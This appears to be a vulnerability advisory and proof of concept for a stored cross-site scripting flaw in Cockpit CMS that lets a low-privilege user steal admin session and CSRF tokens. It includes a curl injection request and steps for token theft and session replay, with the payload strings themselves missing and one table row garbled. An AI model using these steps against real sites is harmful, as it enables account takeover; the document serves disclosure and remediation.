## https://sploitus.com/exploit?id=64CADAE3-594B-53A9-84E3-DCE3BA6AC796
# CVE-2026-39275 - Stored XSS Leading to Account Takeover in Cockpit CMS
[](https://vulners.com/cve/CVE-2026-39275)
[](https://cwe.mitre.org/data/definitions/79.html)
[](#)
[](#)
> Note: Responsibly disclosed to and patched by the Cockpit CMS maintainers prior to publication.
| | |
|---|---|
| **CVE ID** | CVE-2026-39275 |
| **Vulnerability** | Stored Cross-Site Scripting (XSS) β Account Takeover |
| **CWE** | CWE-79 |
| **Affected** | Cockpit CMS ``. This lets the injected script read both tokens and replay them externally, defeating CSRF protection and enabling full session hijacking and account takeover.
---
## Root Cause
Field `render()` outputs are passed to Vue's `v-html` directive without output encoding.
| File | Line(s) | Role |
|------|---------|------|
| `modules/App/assets/vue-components/fields/field-tags.js` | 25 - 34 | Tags renderer - no encoding |
| `modules/App/assets/vue-components/fields/field-select.js` | 26 | Select renderer - no encoding |
| `modules/Content/views/collection/items.php` | 149 | `v-html` sink |
---
## Proof of Concept
### 1. Inject the payload (low-privilege write API key)
```bash
curl -X POST "http://localhost:8080/api/content/item/posts" \
-H "Content-Type: application/json" \
-H "api-key: USR-" \
-d '{
"data": {
"title": "Innocent Looking Post",
"tags": [
"",
""
],
"body": "Just a regular post.",
"_state": 1
}
}'
```
### 2. Trigger execution
An admin or editor navigates to `/content/collection/items/posts`. The tags renderer returns the stored string, `v-html` parses it into a real `` element, the bogus `src` fails, and the `onerror` handler fires.
### 3. Token theft
Both tokens are now readable - the session cookie via `document.cookie` and the CSRF JWT via `App.csrf` / `document.documentElement.getAttribute('data-csrf')`. A weaponized payload exfiltrates both:
```html
```
### 4. Session replay
The attacker replays the stolen cookie and CSRF token, gaining full authenticated admin access - and can then create admin accounts, change credentials, or modify content.
---
## Impact
A low-privilege editor (or any content write API key holder) escalates to full administrator. The payload is stored and fires for every admin/editor who views the list, making it a persistent, multi-victim compromise.
---
## Remediation
**Primary fix** - sanitize render output before it reaches `v-html` using the existing `App.utils.stripTags()` helper.
`field-tags.js`:
```js
value = App.utils.stripTags(value); // sanitize before v-html
```
`field-select.js`:
```js
return App.utils.stripTags(value); // sanitize before v-html
```
**Defense in depth** - harden the session cookie:
```php
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1); // over HTTPS
ini_set('session.cookie_samesite', 'Strict');
```
`HttpOnly` alone is insufficient - the XSS can still act within the victim's authenticated browser context - so output encoding is the essential fix.
---
## Disclosure Timeline
| Date | Event |
|------|-------|
| 2026-03-29 | Vulnerability reported to Cockpit CMS maintainers |
| 2026-03-29 | Fix released by maintainers |
| 2026-04-04 | CVE requested |
| 2026-06-23 | CVE-2026-39275 assigned |
| `` | Public disclosure |
---
This material is published for educational and defensive purposes following coordinated disclosure. Use only against systems you own or are explicitly authorized to test.